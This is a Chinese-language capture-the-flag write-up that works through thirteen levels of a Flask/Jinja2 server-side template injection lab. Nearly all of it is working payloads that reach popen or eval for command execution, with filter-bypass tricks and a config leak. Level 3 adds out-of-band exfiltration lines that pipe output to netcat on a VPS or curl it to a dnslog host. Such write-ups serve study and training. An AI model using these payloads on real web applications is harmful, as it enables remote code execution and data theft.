SSTI-Lab
level 1
前面的试探就不弄了,当然也可以试一下看自己环境有没有问题
先给出payload:{{"".__class__.__bases__[0].__subclasses__()[143].__init__.__globals__['popen']("type flag").read()}}
这里找的是os._wrap_close
通过脚本搜索下标为143,初始化之后可以使用popen来打开flag,这里有一个点卡了我很久,就是"type flag"
我一直使用"cat flag"
得不到flag,而我一开始是不知道type这个命令的,看到SSTI-Labs靶场 - o2takuXX の blogo2takuXX の blog这篇博客才知道type命令
通过GPT的回答应该是由于我在Windows下部署的环境导致的问题,最终使用type得到flag
当然可以用的模块很多,可以参考一下网上其它博主的wp,这里就不一一列举了
level 2
这一关过滤了{{`可以用`{% %}`来绕过,`{% %}`用于执行python代码所以直接print一下就行
payload:`{%print("".__class__.__bases__[0].__subclasses__()[143].__init__.__globals__['popen']("type flag").raead())%}`
![image-20230327201213126](https://raw.githubusercontent.com/Joker2763/img/master/blogimg/202303272012396.png)
这里也放一下import方法实现便于我自己以后查看,在`_frozen_importlib._ModuleLock`模块中有import方法,搜索下标为100
payload:`{%print(''.__class__.__bases__[0].__subclasses__()[100].__init__.__globals__['__import__']('os').popen("type flag").read())%}`
这种方法是通过import方法导入os模块执行popen函数来实现的
## level 3
这一关是没有回显,可以通过外带到vps来得到flag,也可以利用dnslog
先看外带到vps
`{{''.__class__.__bases__[0].__subclasses__()[100].__init__.__globals__['__builtins__'].eval("__import__('os').popen('type flag|nc vps port').read()")}}
同样是利用_frozen_importlib._ModuleLock
模块中的方法但是这里就多了一个__builtins__
这个模块返回一个由内建函数(即python自带函数)函数名组成的列表
理解这个方法执行就可以看懂payload了,前面的原理没变,__builtins__
是object的一个子类,所以前面导入了object就可以搜寻到__builtins__
就相当于导入了,eval是内置函数所以__builtins__
可以直接调用,然后导入os模块,type flag
先找到flag目录通过nc命令输出到自己的vps上,Windows下需要自己安装一下nc命令,这时候真感觉将环境部署到Linux下方便很多
然后看一下外带到dnslog上的payload
1 | {{''.__class__.__bases__[0].__subclasses__()[100].__init__.__globals__['__builtins__'].eval("__import__('os').popen('curl http://`type flag`.ou7jiq.dnslog.cn').read()")}} |
然后报错了,没解决先放着
level 4
这一关过滤了[]
使用遍历来绕过,配合__getitem__
魔术方法进行取值
payload:{% for i in ''.__class__.__base__.__subclasses__() %}{% if i.__name__=='Popen' %}{{ i.__init__.__globals__.__getitem__('os').popen('type flag').read()}}{% endif %}{% endfor %}
这个payload的前半部分相当于
1 | for i in ''.__class__.__base__.__subclasses__(): |
执行payload得到flag
level 5
这一关过滤了单双引号,使用request进行绕过
1 | request #request.__init__.__globals__['__builtins__'] |
然后看payload一下就能理解了
get:?arg1=__builtins__&arg2=__import__('os').popen('type flag').read()
post:code={{().__class__.__base__.__subclasses__()[100].__init__.__globals__[request.values.arg1].eval(request.values.arg2)}}
level 6
过滤了下划线_
使用|attr
过滤器,类似于Linux中的管道符|
用前面的输出作为后面的操作对象
1 | ""|attr("__class__") |
get:?arg1=__init__&arg2=__globals__&arg3=__getitem__&arg4=__builtins__&arg5=__import__('os').popen('type flag').read()
post:code={{(x|attr(request.values.arg1)|attr(request.values.arg2)|attr(request.values.arg3))(request.values.arg4).eval(request.values.arg5)}}
level 7
过滤了点.
使用中括号进行绕过来拼接因为点的功能就是拼接中括号也有这一功能
将前面的payload改写一下{{''.__class__.__base__.__subclasses__()[100].__init__.__globals__['__import__']('os').popen("type flag").read()}}
然后用中括号将点替换{{''['__class__']['__base__']['__subclasses__']()[100]['__init__']['__globals__']['__import__']('os')['popen']("type flag")['read']()}}
level 8
这关过滤了一堆关键字,本来想fuzz一下但是没找到字典直接看wp的吧"class", "arg", "form", "value", "data", "request", "init", "global", "open", "mro", "base", "attr"
字符串拼接绕过{{''['__cla''ss__']['__ba''se__']['__subcla''sses__']()[100]['__in''it__']['__glo''bals__']['__import__']('os')['pop''en']("type flag")['read']()}}
level 9
过滤了数字即限制索引使用__getitem__
绕过
payload:{{x.__init__.__globals__.__getitem__('__builtins__').eval("__import__('os').popen('type flag').read()")}}
使用lipsum,flask的一个方法,可以用于得到__builtins__
,而且lipsum.__globals__
含有os模块:{{lipsum.__globals__['os'].popen('ls').read()}}
payload:{{lipsum|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("type flag")|attr("read")()}}
也能打通
level 10
该题waf:set config = None
,目标是得到config即配置文件而不是flag
这题可以通过url_for()或者get_flashed_messages()方法配合
url_for() —- flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']
含有current_app
get_flashed_messages() —- flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']
含有current_app
current_app —- 应用上下文,一个全局变量。
payload: {{get_flashed_messages.__globals__['current_app'].config}}
很奇怪这里利用url_for()失败了
level 11
这一关过滤了单引号'
双引号"
加号+
关键字request
点号.
方括号[]
感觉这关还是挺难的
先看一些过滤器吧
1 | 常用的过滤器 |
先确定一个利用的payload{{lipsum.__globals__.get('os').popen('type flag').read()}}
然后就是通过set设置变量搭配join进行替换绕过
通过{{lipsum|string|list}`获得一个字符串列表,然后通过pop函数可以取出使用
1
Hello ['<', 'f', 'u', 'n', 'c', 't', 'i', 'o', 'n', ' ', 'g', 'e', 'n', 'e', 'r', 'a', 't', 'e', '_', 'l', 'o', 'r', 'e', 'm', '_', 'i', 'p', 's', 'u', 'm', ' ', 'a', 't', ' ', '0', 'x', '0', '0', '0', '0', '0', '1', '8', '3', '3', 'A', '3', 'F', 'E', 'D', '4', '0', '>']
然后构造字符绕过引号限制
1 | {% set g=dict(get=1) | join %} |
此时payload为{{lipsum|attr("__globals__")|attr(g)(o)|attr(p)("type flag")|attr(r)()}}
然后再构造"__globals__"
先看下划线构造方法
1 | {% set pop=dict(pop=1)|join %} |
然后将下划线和globals拼接赋值给global形成"__globals__"
{% set global=(underline,underline,dict(globals=1)|join,underline,underline)|join%}
此时payload为{{lipsum|attr(global)|attr(g)(o)|attr(p)("type flag")|attr(r)()}}
然后再构造"type flag"
1 | {% set t=dict(type=1)|join %} |
中间有个空格,构造个空格{% set space=(lipsum|string|list)|attr(pop)(9) %}
然后拼接赋值给一个新变量{% set cmd=(t,space,f)|join%}
到这里构造完成,此时的payload为{{lipsum|attr(global)|attr(g)(o)|attr(p)(cmd)|attr(r)()}}
然后综合起来得到最终flag
1 | {% set g=dict(get=1)|join%} |
level 12
这一关过滤了下划线_
,点.
,数字0-9
,反斜杠\
,单引号'
,双引号"
,方括号[]
就拿上题的payload,只不过需要加上9和18的构造,因为这两个数字被过滤无法直接使用下标
字符串列表获取和上一关一样,这里就不再弄了
思路就是利用函数index来获取索引位置的数字,然后利用数字相乘得到9和18,这里下划线被过滤了,不然可以直接得到18
先构造index函数{% set index=dict(index=a)|join %}
然后获取2和3,通过2*3*3
和3*3
得到9和18
1 | {% set u=dict(u=a)|join %} |
加上11关的payload,将数字替换即可
1 | {% set index=dict(index=a)|join%} |
level 13
这一关过滤了_
,点.
,反斜杠\
,单引号'
,双引号"
,方括号[]
,加号+
,以及一些关键字'class'
, 'init'
, 'arg'
, 'config'
, 'app'
, 'self'
但是11关的payload刚刚好避开了,所以直接用
1 | {% set g=dict(get=1)|join%} |
参考:
SSTI-Labs靶场 - o2takuXX の blogo2takuXX の blog
Flask SSTI LAB攻略 – JohnFrod’s Blog
SSTI模板注入绕过(进阶篇)_ssti绕过_yu22x的博客-CSDN博客
SSTI进阶 | 沉铝汤的破站 (chenlvtang.top)